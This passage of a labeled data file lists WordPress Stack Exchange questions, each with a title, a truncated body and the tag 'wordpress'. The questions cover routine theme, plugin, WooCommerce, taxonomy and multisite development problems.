that obtains data from a custom table named ""cranking"". $uid = $GET['id']; function checkExists($id){ ... ",['wordpress'] "Title: My website is getting too many dierect home arechives and this is increasing my bounce rate Body: My website is getting nearly 800 direct home archives daily, as a result the bounce rate of my website has increased. Usually i get only around 30 home archives a day These hits are not from Google, ... ",['wordpress'] "Title: How to get recent comment link Body: I'm getting 5 recent comments into my sidebar using the following code: <?php $recent_comments = get_comments('status=approve&number=5'); ?> <?php foreach ($recent_comments as $comment) ... ",['wordpress'] "Title: Make WordPress site secure through HTTPS and SSL Body: I want to make my worpress site secure through HTTPS. In fact I did install the SSL certificate, but my site is still not secured (it doesn't show the green button, but a yellow one. Problem at the ... ",['wordpress'] "Title: Pass parameter to the upload_dir filter Body: I'm trying to figure out a better way to pass a parameter to the function I am using with the upload_dir filter. Currently I have only gotten it to work by using sessions and/or cookie that I erase ... ",['wordpress'] "Title: Taxonomy Archive: Display only one post per term from separate custom taxonomy Body: I am having trouble coming up with a solution for product catalog I am building using custom post types and 4 custom taxonomies. The product catalog is separated by ""model"", but each ""model"" can have ... ",['wordpress'] "Title: AJAX Call Returns Object in Chrome but Returns Null in Firefox and IE Body: My AJAX call works fine in Chrome but when I test it out in Firefox or IE, I receive a null response. Any help is much appreciated! PHP Function: function get_ldap_attr() { header(""Content-type: ... ",['wordpress'] "Title: Find And Add Category to Posts Body: My WordPress site is a mess. Previously, it had 80+ categories, with 1-2 sub-categories. After creating blueprint for this site (I'm restructuring the site completely), I have new 6 categories and ... ",['wordpress'] "Title: Show Featured products in product category pages Body: I would like some help with the following issue with woocommerce. I am using wordpress 3.5.2, woocommerce 2.0.13 and sommerce theme. I have a product category page, in which I display 5 ... ",['wordpress'] "Title: Is it possible to create nested lists in the WYSIWYG editor? Body: I'm looking to set up WP for a user that does not know or care about HTML, so I need everything to work in the WYSIWYG editor. She'll be working on posts that have lots of nested bullet lists, but I ... ",['wordpress'] "Title: Using Geo Data Store Plugin Code Body: I'm trying to simply use the Geo Data Store Plugin Code functions from within my theme files and have never done this. I've tested the $sc_gds to see if isset, yet not getting anything when looping ... ",['wordpress'] "Title: upload/insert images into post suddenly stopped Body: During the process of creating a blog post, the ability to upload and insert images into the post stopped working. I'm using Upload/Insert > Add Media > From Computer and/or Gallery > Insert Into ... ",['wordpress'] "Title: Query Pages and post excerpts dynamically Body: I have a custom home page, a blog page which includes a dynamic preview area of the latest 5 blogs, and some other miscellaneous pages. Im trying to design an ""events"" page where the main page has a ... ",['wordpress'] "Title: Remove blog slug from WPMU? Body: i have wordpress MU, everything is fine in child sites , but in the main site in the permalink structure have been changed itself , mean that after the site url it have like http://example.com/blog , ... ",['wordpress'] "Title: Wordpress Group By Problem Body: i have a custom post type called ""events"". in this post type, i have a metabox with the date of the event. saved as timestamp. my problem is, i want a whole year with every month. current only the ... ",['wordpress'] "Title: Change the “Default Avatar” admin option via functions.php Body: So I'm trying to add a new default avatar for my theme using the following code: add_filter( 'avatar_defaults', 'mytheme_default_avatar' ); function mytheme_default_avatar ( $avatar_defaults ) { ... ",['wordpress'] "Title: How to remove website field in comment form? Body: I am using <?php comments_template(); ?> to show my comment form and I'm trying to remove the url field so I added this to my functions add_filter('comment_form_default_fields', ... ",['wordpress'] "Title: Categories in custom post types Body: I'm having some custom post type but I want to add categories for it. Not for the URL(-structure) but for an archive page, which shows every category after each other. So the items are organized. ... ",['wordpress'] "Title: Give Friend Post Management Body: On my site you can create a post for someone who is your friend in site. How do I give permission to my friend to also manage that post as well as me? ",['wordpress'] "Title: Display my location via a smart phone on wordpress [closed] Body: I am doing a charity bike ride for 100 miles from DC to Delaware I would like to update people as I go (at stops of course) Is there any plug in for wordpress that would allow me to auto map my ... ",['wordpress'] "Title: set theme's default slider to show woocommrce's product Body: we know that theme's slider just can be set to show image of site' category and we can not change it to show image's of woocommerce's categories. there are ways to make a slider to show it. but I'm ... ",['wordpress'] "Title: Theme Custom Pages Body: I'm working on a function.php file for a new theme system. I need to know how to make a custom template executable through a URL. So if someone were to go to http://website.com/my-custom-template/ how ... ",['wordpress'] "Title: How To Use YouTube Url Stored In Custom Field To Get Video Image and Set it As Featured Image Body: I have sourced the following code which captures the URL for a YouTube video placed in the content/body the code then gets the video image from YouTube and sets the image as a featured image. ... ",['wordpress'] "Title: Display Taxonomy Terms in an option tag with value being the slug Body: I have a custom taxonomy filled with terms that I wish to display in a fashion such as below. <option value=""[SLUG]"">[TERM]</option> <option value=""[SLUG]"">[TERM]</option> ... ",['wordpress'] "Title: Dynamic Sidebar Conditional Body: I'm dynamically creating sidebars and registering them for every top level page: Dynamically Register Sidebars For Each Top Level Page The problem is, I want to test if a sidebar doesn't exist for ... ",['wordpress'] "Title: One WP_Query is causing thousands of queries? Body: I threw a get_num_queries() before and after the following, and the # increased by 1983 queries. What? $projectsQuery = new WP_Query( array( 'posts_per_page' => -1, ... ",['wordpress'] "Title: How can I modify wp_nav_menu with walker? Body: I would like my wp_nav_menu to output in the format for jquery ui: <h3>Section 1</h3> <div> <p> Mauris mauris ante, blandit et, ultrices a, suscipit eget, quam. Integer ut ... ",['wordpress'] "Title: front-end submission automatic email confirmation to user and admin Body: I have a good working front-end submission form working with my own code (no plug-in), but I need to set up: An automatic confirmation to users that sends to their email. Notification to admin upon ... ",['wordpress'] "Title: Copying custom field value in to title Body: I'm using wordpress as a cms, so on my custom post types, I don't need the title and only use custom fields. The title however is still used, and receives the value ""Auto Draft"", which I don't want - ... ",['wordpress'] "Title: Saving Custom Field Data before Publish Body: When creating a page or a post WordPress lets the content (title, body, featured image) be saved when using Ctrl + S. The Custom Fields do not save in the same way (in this case I'm using Advanced ... ",['wordpress'] "Title: Wordpress SQL - How to Check for Category? Body: I'm using the following SQL (wrapped in php) to find posts in a wordpress database: $sql = "" SELECT p.* FROM {$wpdb->prefix}most_popular mp INNER JOIN ... ",['wordpress'] "Title: how to remove alphabetical order from wordpress categories [duplicate] Body: i am new to programing and WordPress. i was working on a project where i am using custom taxonomy (tag) ,so in admin panel (post) when i select my tag it automatically get arranged in alphabetical ... ",['wordpress'] "Title: Managing many images from the media manager Body: Can u tell me how to work with many images in the media manager ? Or is there some way I can make folders in the media manager, so when I have 1000 or 10000 images I want them to be separated somehow, ... ",['wordpress'] "Title: Auto-copy content of the main blog to another one. Multisite Body: I'm confused about this problem. I need to duplicate all content from the main blog in Wordpress Multisite to another one. I've tried to use Mirror Multi Sites (MMS) but it work bad with categories. ... ",['wordpress'] "Title: How to load javascript file on homepage in Wordpress in order? Body: I am using a quicktags plugin, which was not loading on the home page, now it does, but it does it on the wrong place. How can I solve this? I want the quicktags.min.js file to load first, rather ... ",['wordpress'] "Title: Use WordPress Ajax in Plugin Body: I trying to create a wordpress sample plugin with ajax base. I read out the tutorial and did plugin(is not working) Because i am new to ajax. Here is the code i tried is of form data in a ajax way. ... ",['wordpress'] "Title: Does Jetpack store comments in local database also? Body: I want to implement JetPack comments plugin on my external WordPress site. I assume it stores the comments in the local database of the website also. Is it possible to disable that option so that it ... ",['wordpress'] "Title: how to set the link in wordpress such that on clicking it doesn't open another page but go to the bottom of same page Body: I have one word press project and in that index page is having 7 menus like home, about, contact, offering, invitation, evolution and downloads now how to set the this links such that on clicking it ... ",['wordpress'] "Title: Rebuilding a Site: How to Show Several Category Posts in Woo Framework Theme? Body: I am having a hard time managing a big site with 2000+ pages. Right now, I am restructuring the site architecture. So, for example, if there are categories like x, y, z... I want to put them under ... ",['wordpress'] "Title: How to create a title images for different posts? Body: I've recently started with wordpress theme development and have come up with a few different post templates but there's one thing I'm still unsure how to do - that is, having a post specific image ... ",['wordpress'] "Title: Disable multisite-wide plugins on specific sites Body: On a multisite network, I have some plugins that are network activated so they run on every site in the network. However, I want to disable all of the network active plugins on some of the sites. How ... ",['wordpress'] "Title: Use only selected regular categories for a Custom post form Body: There's a way to use only some of regular categories for a Custom post form? Until now i was able to use ALL categories of the regular post type. But i want only a few of them to the custom post... ... ",['wordpress'] "Title: Custom Post Type Set Comments ON by default without show METABOX Body: I've created a new custom post type for a specific posts. The posts from my new custom post type, have - by default - set the comments to ""off"". I need to the comments to be ""on"" by default. In my ... ",['wordpress'] "Title: Output list from each line of metabox (shortcode) Body: Hey I have a textarea in my metabox and I display the info using a shortcode. I want to output the data from that metabox as a list (each line is a list item). I used the code from here but changed ... ",['wordpress'] "Title: contact form 7 :create shortcode usable in email message Body: i have this (test ) function that adds a redirection bouton function bouton($atts, $content = null) { extract(shortcode_atts(array( 'lien' => '#', 'couleur' ... ",['wordpress'] "Title: Customizing single product page woocommerce Body: How do I change the background color and take the header and menu out from woocoommerce's single product page? I tried custom css on specific post and tried to edit the page and it doesn't work at ... ",['wordpress'] "Title: Issues creating a tinyMCE plugin that creates a custom link Body: I'm working on a plugin that works similar to the ""link"" button on tinyMCE: The user highlights text -> presses a button -> enters text into a box in a thickbox popup -> submits the form -> the user ... ",['wordpress'] "Title: comment_date() & comment_time() not working from functions.php Body: I use the following function to get the latest comment for each one of my posts and display it on archive and index pages under the post content: function kv_latest_comment($post){ $args = ... ",['wordpress'] "Title: Loading all gallery images in home using ajax Body: I want to automatically load all the pictures from the galleries across the site (without having to specify IDs) in the home page. But I need to have control of behavior cause I don't want to load a ... ",['wordpress'] "Title: query to create woocommerce products from images Body: I have hundreds of art images in my WP media library, each of which I want to convert into a woocommerce product, and set as featured image of that product. Rather than manually adding new products ... ",['wordpress'] "Title: How Can I List Categories by Date? Body: This question isn't specifically about categories, but any taxonomy. I registered a taxonomy called issue. I want to list these issues by year. I'm currently using the function: wp_list_categories( ... ",['wordpress'] "Title: I need to assign a role to visitors/guests Body: Is there a way to create a 'role' in wordpress for a guest? I am using a role visibility plugin which lets me choose the type of visibility to each rule. However a Guest hasn't got a role. I can ... ",['wordpress'] "Title: how to show category post and title separate with auto number Body: i am making one slider tab, i know have tons of plugins for that but i don't want to use plugins. so i want to show my category post title and post like bellow html formate but i can't. i tried my but ... ",['wordpress'] "Title: WPML taxonomies not translated Body: How to write html text in custom page. I have installed the WPML language. can you please advice? Thanks, Suresh Kumar ",['wordpress'] "Title: dates under post titles — also showing up under Nav Body: I added a filter in functions.php in order to have the dates show up under my titles on each Post on my homepage. Random dates are now also showing up in the Nav. Can someone help me make those go ... ",['wordpress'] "Title: Get a single post ID based on an exact match of 1 or more meta values Body: I'd like to find the post ID based on an exact match of meta values (could be more than 1). All the examples I have found show find the post ID from 1 meta value. In my example I'd like to pass in an ... ",['wordpress'] "Title: wp_schedule_event - function won't execute Body: I use wp_schedule_event to have the function updatePostCounts() executed every hour. I also use the plugin ""WP Crontrol"" which shows me that the hook (opbs_update_counts) is there and is run every ... ",['wordpress'] "Title: Check if value is a custom taxonomy category name Body: I'm needing to check a variable and if the slug doesn't match a custom taxonomy's category slug run a function. I can't wrap my head around what I would need to do in order to get the ""categories"" of ... ",['wordpress'] "Title: Saving meta box data? Body: All I really want is for the meta box data to be saved A) as an accessible global variable inside the loop and B) to save the data to the textbox so that when the user presses update what they have ... ",['wordpress'] "Title: Mixing variables into an array when inserting values Body: I have a function that inserts a load of values into a database. Not a problem but I have a condition that changes the mysql statement. The problem is is the way wordpress constructs the statement, ... ",['wordpress'] "Title: nextgen gallery dynamic template not fully functional Body: I have a template with 2 columns, on the left side is a list of dynamically added gallery titles, on the right is where the galleries themselves show up. It is working for the most part, when I click ... ",['wordpress'] "Title: Troubles adding links to facebook Body: I'm not a coder and I don't understand what has happened. Here's what I've done: 1) Pasting the link on FB worked perfectly (all the info and pictures used to appear correctly) 2) Decided to install ... ",['wordpress'] "Title: Using query_vars filter Body: I am trying to link out from the WP admin to view posts in a specific way. The url structure for this is example.com/post123/?my-preview=456 /post123/ is the regular permalink for a post. The ... ",['wordpress'] "Title: Hide a div that is part of all pages on one specific page Body: How can I hide a div (which contains an image) for a specific WordPress page? I believe my page id is 46: Here is the div I am trying to change: <div id=""static-footer-image"" ... ",['wordpress'] "Title: Facebook Meta Tags Populating Incorrectly Body: I'm using the Facebook AWD plugin to set custom meta tags for all my posts and pages which are working perfectly fine. The problem I have is on my homepage where I have two posts with their own share ... ",['wordpress'] "Title: Wordpress custom login page Body: I found a little article on how to create a custom Wordpress Login page and I am wondering if this technique/practice is safe to use? The article: ... ",['wordpress'] "Title: Undefined index: action plugin problem Body: i have 4 error in the plugin logo slider the first error in line 89 and i fixed it and one of the other the errors in 225 Notice: Undefined index: action in ... ",['wordpress'] "Title: CSS not updating in browser when I change it Body: I am working on the CSS of my wordpress site. When I make changes and refresh the page the changes are not reflected. When I clear the browser history and cache the changes are still reflected. When I ... ",['wordpress'] "Title: Custom Post type registering as page post type Body: I'm having trouble getting my custom post type to correctly register. It seems to be identifying as a page post type and using that template. I also can't access the archive page for it. Any idea on ... ",['wordpress'] "Title: Specific routing for CPT Body: I'm developing site for art gallery. A have Artist CPT (internal name artsin_artist) which is defined in my functions.php like following: register_post_type('artsin_artist', array( 'labels' => ... ",['wordpress'] "Title: Set header for default posts page? Body: In Settings/Reading I set Testimonials as post page. How can I change the header of that page? ",['wordpress'] "Title: Dynamically update an option with Option Tree plugin Body: I am using the Wordpress plugin Option Tree. It works great, in the Theme Options I have a list type that contains some values; for example: List 1 List 2 List 3 I have also created a option tree ... ",['wordpress'] "Title: Image uploading stuck on “crunching” Body: I have a problem to upload images to the media library when is used multi-file uploader on WP 3.5.2. Single file media uploader works fine. I have tested it with 1k PNG image, which was stuck on ... ",['wordpress'] "Title: Getting a list of custom posts by author Body: I'm trying to have a page where a user can view all of the custom post types after they click on an author from a previous page, but I'm having no luck with anything I can find in the built-in PHP ... ",['wordpress'] "Title: custom post type archive page has 404 error even though has_archive is true Body: I have an existing site that has a custom post type with no archive. It has been live for almost a year now. I am trying to change the custom post type to have an archive now. So I changed ... ",['wordpress'] "Title: wp login redirect loop reauth=1 Body: I am new to wordpress development and am trying to write a plugin. Following the recommendations in the book Professional Wordpress Plugin Development, I created a test page and placed it in the ... ",['wordpress'] "Title: How do I successfully create a hook for an email override? Body: I'm creating an online apartment rental application using Visual Form Builder Pro. I need to have completed forms go to certain managers based on the property selection. Once a user selects a ... ",['wordpress'] "Title: Registration Form Shortcode Body: Is There any way to create a shortcode for registration form using <?php do_action('register_form'); ?> ",['wordpress'] "Title: call a string/function from database Body: I need call a string from $_POST[""m_giambellino""], etc... (see down), saved in database of wordpress: if ($_POST[""send""] == ""Save"") { update_option(""mese_giambellino"", ... ",['wordpress'] "Title: menu items outside of blog Body: Is there way that I can echo out my wordpress menu items to a main site menu. The wordpress install runs in a subfolder of my main site. I thought there might be a way to do this that is similar to ... ",['wordpress'] "Title: How can I backup and restore my WordPress site with Linux? Body: I'm currently using WP-DB-Backup to backup my WordPress database. I let this plugin send me an email which has a sql.gz attachment. But I've just realized that this is not enough. I also need to ... ",['wordpress'] "Title: If child is active add class to parent in customWalker Body: Im writing a customWalker for the wordpress main navigation area. But i am a little stuck on how to find and add a class to the parent of the child which is active. For instance I have the whole ... ",['wordpress'] "Title: Query for custom post type objects in a taxonomy and with a meta value Body: I want fetch all posts from the post type book in the custom taxonomy book_tags with the meta key lang and the meta value en. My code: <?php $args = array( 'post_type' => 'book', ... ",['wordpress'] "Title: How to remove the option data of a theme when that theme is removed? Body: I developed a theme which stores some options to the database. I want to delete the option data from the database while the user removes the theme. But I don't know there is any action hook for doing ... ",['wordpress'] "Title: How do I sanitize a javascript text? Body: I have a textarea that will receive a js snippet(Google Analytics). Is there a way to sanitize that? Since I cannot use functions like wp_filter_nohtml_kse(), what should I use? ",['wordpress'] "Title: make Wordpress image captions responsive Body: This webpage contains images inserted by Wordpress. The code used to insert the first image is: [caption id=""attachment_887"" align=""alignnone"" width=""604""] <a ... ",['wordpress'] "Title: network site domain mapping still applied after being removed Body: I have a sub-domain network installation on www.example.com One of the sites is rabbit.example.com This site used to have a domain mapping to www.rabbit.com. I removed this mapping. However, ... ",['wordpress'] "Title: Detect infinite loops automatically? Body: Problems with Redirection plugin (otherwise great) et al face lots of people now troubled because we just change links. Like if I change A's order/parent to B and back again, and maybe move it around ... ",['wordpress'] "Title: Add dynamically Get Request For Every links On the Site For Style Switcher Body: <?php session_start(); ?> <?php $_SESSION['sel_color'] = ""blue""; if ( isset($_GET['color']) ) { switch ($_GET['color']) { case 'red': $_SESSION['sel_color'] = ""red""; ... ",['wordpress'] "Title: Check user_meta_key on login [duplicate] Body: im trying to setup user activation on wordpress. Ive already setup 2 meta keys on user register: is_active and activation_key - here is function: add_action('user_register', ... ",['wordpress'] "Title: $wpdb->get_col and ORDER BY? Body: this is the query that returns the listing of a custom post type $apartments = $wpdb->get_col( "" SELECT DISTINCT( post_id ) FROM $wpdb->postmeta ... ",['wordpress'] "Title: How to handle valueless attributes in shortcodes? Body: Some HTML elements accept valueless attributes such as <input disabled /> or <video autoplay /> How do I handle this case with shortcodes where I want to disable autoplay by default (= ... ",['wordpress'] "Title: Ubuntu 13.04 create new wordpress theme from scratch problems Body: I'm new to wordpress. I tried to create new theme, basically I just copied files from default theme and changed it's name, URI etc. But my theme is not showing in wordpress. Can you tell what steps ... ",['wordpress'] "Title: JSON API plugin exclude categories Body: When I use http://www.example.org/?json=get_category_index it shows all categories. I want to exclude some unnecessary categories from get_category_index list from the site output. How can i achieve ... ",['wordpress'] "Title: Using get_bloginfo('template_directory') or variable - performance issue Body: Can I please ask you about the performance of these two approaches in term of execution speed and server load? approach 1: <img src=""<?php echo get_bloginfo('template_directory'); ... ",['wordpress'] "Title: How to parse this shortcode? Body: I have a shortcode like this [soundcloud url=""http://api.soundcloud.com/tracks/67658191"" params="""" width="" 100%"" height=""166"" iframe=""true"" /] How can I get the content of the URL part or extract the ... ",['wordpress'] "Title: Highlighting Sub topic in a post? Body: Have seen this sub topics highlighter in many blogs. It gives a special attraction to a sub topics used in the post. Is this a plugin or part of code? How can I add this? http://imgur.com/UbGpz7j ",['wordpress'] "Title: Search autocomplete problem Body: I am using swiftype plugin for my search. The autocomplete box doesn't appear. I have tried almost everything on internet. Please help. Other Info: Plugins like seachautocomplete and foxy auto ... ",['wordpress'] "Title: Auto Refresh Post List after X seconds Body: i'm new in wordpress, and i really need a help here. My main site, list the resume (excrept) of all posts, with pagination. But when a user publish a new post, the only way to see it on the main page ... ",['wordpress'] "Title: Function to get thumbnail img source Body: I have this function call that displays an entire img tag with the correct url for that post.. the thumbnail img... ?php the_post_thumbnail('blog-page'); ?> What I need is just the source ... ",['wordpress'] "Title: Wordpress show bad the php hour and date Body: For my surprise today i see wordpress put bad the hour In settings i have the hour of my country , France and City Paris And today i try for create one function the php date function for show the ... ",['wordpress'] "Title: Archive by custom date Body: I've got a modified version of get_calendar() to use a custom date field to display events by the date they are happening rather than using the post_date. Clicking on a date on the calendar brings you ... ",['wordpress'] "Title: change plugin path Body: I'm adding option-tree framework to my workflow as a theme not as a Plugin and I'm having problems trying to change the specific path, because OPTION-TREE only uses the theme root path instead of ... ",['wordpress'] "Title: Delete Query won't run Body: This is the set up... <form method=""post"" action=""""> <input type=""hidden"" name=""delete_app_id"" id=""delete_app_id"" value='<?php echo $adoptee->app_id; ?>' /> <input ... ",['wordpress'] "Title: Twitter bootstrap carousel multiple items in carousel Body: I'm pulling in posts from a specific category using twitter bootstrap carousel rotator. I've looking into double loops but I can't figure out how to implement it. Here is my loop: $query = array( ... ",['wordpress'] "Title: Wordpress editor removes all the linefeed characters with WP-Markdown and Syntax Highlighter evolved Body: I have WP-Markdown and SyntaxHighlighter Evolved wordpress plugins installed. The issue is that when I write the code, and click the ""Update"" button, I have the code reformatted. [ruby] class Foo ... ",['wordpress'] "Title: Activity feed on admin dashboard Body: Is it possible to create an activity feed for a user on the WordPress admin dashboard for the activity on that blog? e.g. ""Admin published a post - 12:00 Jan 12, 2013"" ""User2 updated page 'xyz' - ... ",['wordpress'] "Title: How to get current user ID in array meta_value? Body: Here is example: $args=array( 'meta_key' => 'Something', 'meta_value' => '',//here goes current used ID by default. 'meta_compare' => '=', ); $user_query = new ... ",['wordpress'] "Title: WordPress doesn't respect the template hierarchy? Body: My theme has a custom taxonomy template (""taxonomy-authors.php"") but WordPress only serves this template file when a term associated with this taxonomy is called. e.g. example.com/cpt/authors/john-doe ... ",['wordpress'] "Title: User custom selection shopping cart plugin Body: Im not a techie,but i want to know is there any shopping cart plugin for cart like this http://www.suitopia.com/en/products/suit/ (user should select their own option like color,type,design and atlast ... ",['wordpress'] "Title: Custom url rewriting Body: I am struggling to create custom rewrite rules for wordpress.. This is my url structure http://domain/cityprofile/?city=Sydney where city profile is a page template. Now i want to make this url ... ",['wordpress'] "Title: Migrating from Existing MySQL Setup to WordPress Body: I currently have a database with the following schema: Table: Articles Columns: ID, Title, Author, Content Table: Authors Columns: ID, AuthorName, EmailAddress Table: Categories Columns: ID, ... ",['wordpress'] "Title: Custom post type archive as home page: getting navigation to recognize the modified query Body: I have modified the query of the home page to call a custom post archive by the method explained here. What I can't figure out is how to get the navigation to recognize this new query and add the ... ",['wordpress'] "Title: Will $current_user no longer be global? Body: I just had a look at Global variables in WP and I discovered that a lot has changed since the last time I looked. $current_user is no longer listed. Does that mean this and many other (old) globals ... ",['wordpress'] "Title: Could use some help with Shortcodes Body: So I am starting with shortcodes and this is my first time trying to make one, I am using it to make css/js tabs for information and basing off code I got from themeforest.. So I will do the best to ... ",['wordpress'] "Title: Why is unfiltered html allowed in custom fields for author / contributor roles? Body: I'm creating a WordPress theme which has a custom textarea metabox for inserting embed codes (soundcloud, bandcamp etc). I feel like I should be adding in some security to stop non-admin/editor users ... ",['wordpress'] "Title: Contact Form 7: conditional required fields? Body: I am trying to use Contact Form 7 with conditional fields and required fields. I am able to create the show/hide content based on a selected dropdown value, but I am stuck when required fields are ... ",['wordpress'] "Title: Allow user to manually set crop area of default/custom image sizes on upload Body: I'm looking for a plugin that allows the user to define where the image will be cropped for a given thumbnail size. For example, the user uploads an image, a screen comes up with the image and a ... ",['wordpress'] "Title: How do you center the main menu in CSS? [closed] Body: Do any of you know of a way to center the main menu on my company's site? I have been trying all day and am frazzled! I've tried editing the stylesheet but nothing has fixed it. I've tried throwing ... ",['wordpress'] "Title: 3 different ways to check the number of pages on site gives 3 different answers Body: I entered this command into Google: site:g33ktalk.com And it returned 659 pages. But when I created a sitemap with this service: http://www.xml-sitemaps.com/ it showed me 498 pages crawled. And ... ",['wordpress'] "Title: 3.5.x Theme Customize: Handling Custom Control Requests Body: I am extending the WP_Customize_Image_Control as a means to include an upload-able word mark for a site. The control works just fine, but I need to do some post process handling on the image (i.e. ... ",['wordpress'] "Title: Dynamically updated css on load Body: I am creating a theme and now I want to create admin menu, where you can change the look of your page. I want to add an option to change css properties of some objects on the page. When user fills ... ",['wordpress'] "Title: Post-upgrade problems: Image URL in DB, but not showing Body: Hey I'm a WP noob but I was given the task of upgrading WP from 3.2.x to 3.5.x. Now some images aren't showing. Here's the chunk of code responsible for it: $query = ""select w1.guid,w2.post_title, ... ",['wordpress'] "Title: Failed to load the image url from using another database Body: this is the site to display the images I have created the two websites. The main website having common database for both. In main site the is no problem it will display the images but here i am using ... ",['wordpress'] "Title: Woocommerce variations price usage Body: I am using woocomerce plugin for my e-shop. I am a little new to php and javascript, so pardon me, if I am asking something obvious. I woud like (like many others) to display prices both with and ... ",['wordpress'] "Title: Uploading flash flipbook to mu wordpress site Body: I have to upload a flash flipbook (swf file) on my wordpress site. The problem is that the flipbook generated has two subfolders along with the book.swf.. So what I need to uplaod to media is ... ",['wordpress'] "Title: comments_number() not working after Theme Unit Test import Body: everybody! I stumbled across strange problem when creating a theme for WordPress. I have written a simple function in my comments.php. Here is a snippet of the beginning: <?php if ( ... ",['wordpress'] "Title: How to show taxonomy meta on frontpage? Body: For a website I am developing I have come across the following challenge. I have made a custom taxonomy ""blog"" (associated with both the Post-post_type and the User-object_type). With the taxonomy ... ",['wordpress'] "Title: Custom Post Type Default Contents Body: What is the best possible way to pre-fill a custom post type that I created? I want to include it in my plug-in so that when I migrate, it's just an easy task to replicate. Say, I have a custom post ... ",['wordpress'] "Title: How to share user data across multiple Wordpress websites? Body: i have 3-4 sites which has content about traveling,and what i want is one site(main site content all the user data and) in all other sites, users can log in to the sites with that data ,how can i ... ",['wordpress'] "Title: How to output taxonomy term (incl. link to archive) on author.php? Body: I have used the excellent tutorial of Justin Tadlock on Custom user taxonomies in WordPress to add a Blog custom taxonomy to both my Posts post_type as well as the user object_type. In his tutorial ... ",['wordpress'] "Title: Calling a javascript function in post edit page after attaching something to post Body: I would like to call a javascript function after user attaches something to post. I hooked the add_attachment hook, and processed what I want. However, how can I call a function in a Javascript loaded ... ",['wordpress'] "Title: Passing dynamic options from backend to frontend Body: I have created an admin options page (using the Redux Theme Framework), in which the admin can customize the website's appearance (text color, background color, background repeat options, etc.. ). ... ",['wordpress'] "Title: can't post immediately Body: something weird has happened to my sites. i can't seem to post any page or post immediately. it says post immediately, but when i do, it instantly changes to schedule for dec 2013. I thought it was ... ",['wordpress'] "Title: What is the condition to check if we are in admin or frontend? Body: What is the condition to check if we are in admin or frontend? I want to add_action not in backend, but only in frontend. ",['wordpress'] "Title: Sorting custom post types by taxonomy (So close) Body: I have a custom post type called 'requests' that has a custom taxonomy 'request-categories'. I've created a template with a modified loop that allows me to view my custom post type in a certain ... ",['wordpress'] "Title: Restrict post edit/delete based on user ID and custom field Body: I've been able to prevent deletion and editing of posts based on user ID and page ID however, I need to restrict access to editing and deleting based on a custom field. Not sure how to go about doing ... ",['wordpress'] "Title: Append '/blog/' to posts url Body: I'm using WordPress as a CMS and for a blog. A problem I came across is that even though I have my blog at /blog/, I'm not seeing it appended it in the url for blog posts. For example, it should be ... ",['wordpress'] "Title: Display the first image attached to a page Body: I want to display the first image attached to a page (Not a post. Works fine with posts). I have tried wp_get_attachment_image but am unable to provide it with the correct ID. get_the_ID(); gets the ... ",['wordpress'] "Title: Get product id from the current page in WooCommerce Body: On the product page of a WooCommerce shop I need to add a code in the header with the product ID of that product. I've added a function in functions.php but it doesn't work. add_action('wp_head', ... ",['wordpress'] "Title: How can I export Grunion Contact Form messages in an easily parsable format, e.g. CSV? Body: I've made the mistake of using the Grunion Contact Form plugin (it shipped with the Promotion theme that our webdevs installed in our Wordpress instance) instead of a real tool like SurveyGizmo, and ... ",['wordpress'] "Title: how to show database content in wordpress post Body: I'm a beginner for WordPress. I have a database app written in PHP and MySQL and I need to convert it to WordPress and also I what to post the database rows info by shortcode were id=""x"" like: ... ",['wordpress'] "Title: Related posts by category not working right Body: I have somehow managed to create this code to display Related Posts by category on single post page. <div class=""relatedposts""> <h3>You might also like</h3> <?php ... ",['wordpress'] "Title: Dynamic Custom Tax Archive Page? Body: Is it possible to have a page that dynamically shows a range of categories/custom taxonomies along with their posts? Category 1 - Post from above cat - Post from above cat - Post from above cat ... ",['wordpress'] "Title: Multiple post categories - single permalink Body: I created a post which is assigned to multiple categories. Eg: I have a post ""My Post"", and I put it in ""foo"" and ""bar"" categories. Now my article will have two permalinks, ""/foo/my-post"" and ... ",['wordpress'] "Title: How to link to the page displayed by home.php? Body: I am working on a theme that is using front-page.php as a front-page.php and home.php to show blog posts. What I can't figure out is how to link to the blog page that is displayed with home.php. ... ",['wordpress'] "Title: Changing a custom post type “has_archive” after registered Body: Ok, I've seen some similar posts on how to change a custom post type's attributes after it has been registered (in my case, I'm trying to modify a custom post type created by a plugin without ... ",['wordpress'] "Title: Multisite (MU) sub-directory 404 problem with modified permalink/url Body: I have the latest version of WP and CBOX which is basically a modified BuddyPress installation. I am using the BuddyPress plugin, Group Blogs, and I am trying to modify the permalink/url structure ... ",['wordpress'] "Title: static page with buton that opens collect email form Body: I am PHP programmer, but I am not familiar with WP yet (I do understand some basic things). I have static page and I have to place a DOWNLOAD button on this page. Click on this button will allow user ... ",['wordpress'] "Title: Call custom post type by category Body: Ok, I used Custom Post Types Ui to create several custom post types. When setting up the CPT's I checked off that categories were enabled, and then I added a few categories to one of the CPT's. Now ... ",['wordpress'] "Title: How can i add new post on new page Body: I have set up my blog (WP 3.4) the following way: I had created pages in my blog, so that I have them as separate navigation items in the header (it looks like: Home, PageA, PageB, etc.). What I want ... ",['wordpress'] "Title: Pulling in related posts types to another parent post type Body: I hope I can get some help, I've been trying to get this working for ages now. Basically I have a theme which has 2 custom post types, courses and lessons. You can create a load lessons and add them ... ",['wordpress'] "Title: listing custom post type category page Body: I've registered custom post type ""deals"" and its taxonomy ""deals-category"" the page site/deals/ runs the archive-deals.php fine but in page site/deals-category/travel/ runs the archive.php file! How ... ",['wordpress'] "Title: Unable to combine “search value” and “tax_query” using WP_Query Body: This is my function in my template's functions.php. The problem is that this is working: function ajax_search_action_do(){ global $wp_query; $search = $_POST['search_value']; $country ... ",['wordpress'] "Title: WP All Import - Custom Posts do not show up on website Body: I am currently using wp all import to import jobs into my job openings website. The import goes okay and all the job openings are in the site, if you look at the wp-admin. But on the site, they are ... ",['wordpress'] "Title: Single admin domain for multisite Body: We have a WordPress with multisite feature enabled. The sites have totally different domains using the domain mapping plugin. It is like: site1.com site2.com site3.com. Now we want to enable SSL for ... ",['wordpress'] "Title: Uploading media failed: File is empty Body: “logo.png” has failed to upload due to an error The suggested fix is something along the lines of: File is empty. Please upload something more substantial. This error could also be caused by ... ",['wordpress'] "Title: SQL Statement - Mass Delete Custom Post Types Body: This website lists a nice way of deleting posts based on category http://www.tripwiremagazine.com/2010/06/how-to-effectively-bulk-delete-many-posts-in-wordpress.html The relevant code is: delete ... ",['wordpress'] "Title: Attaching images to posts manually (i.e. with custom code, without the use of an API) Body: I am working on mobile API for a WordPress site. The API is written in PHP and provides methods actions such as creation of a post. Now, I can create a post with one image (thumbnail) of the post. ... ",['wordpress'] "Title: lost css when overriding themes templates Body: i have copied and modified the template file : 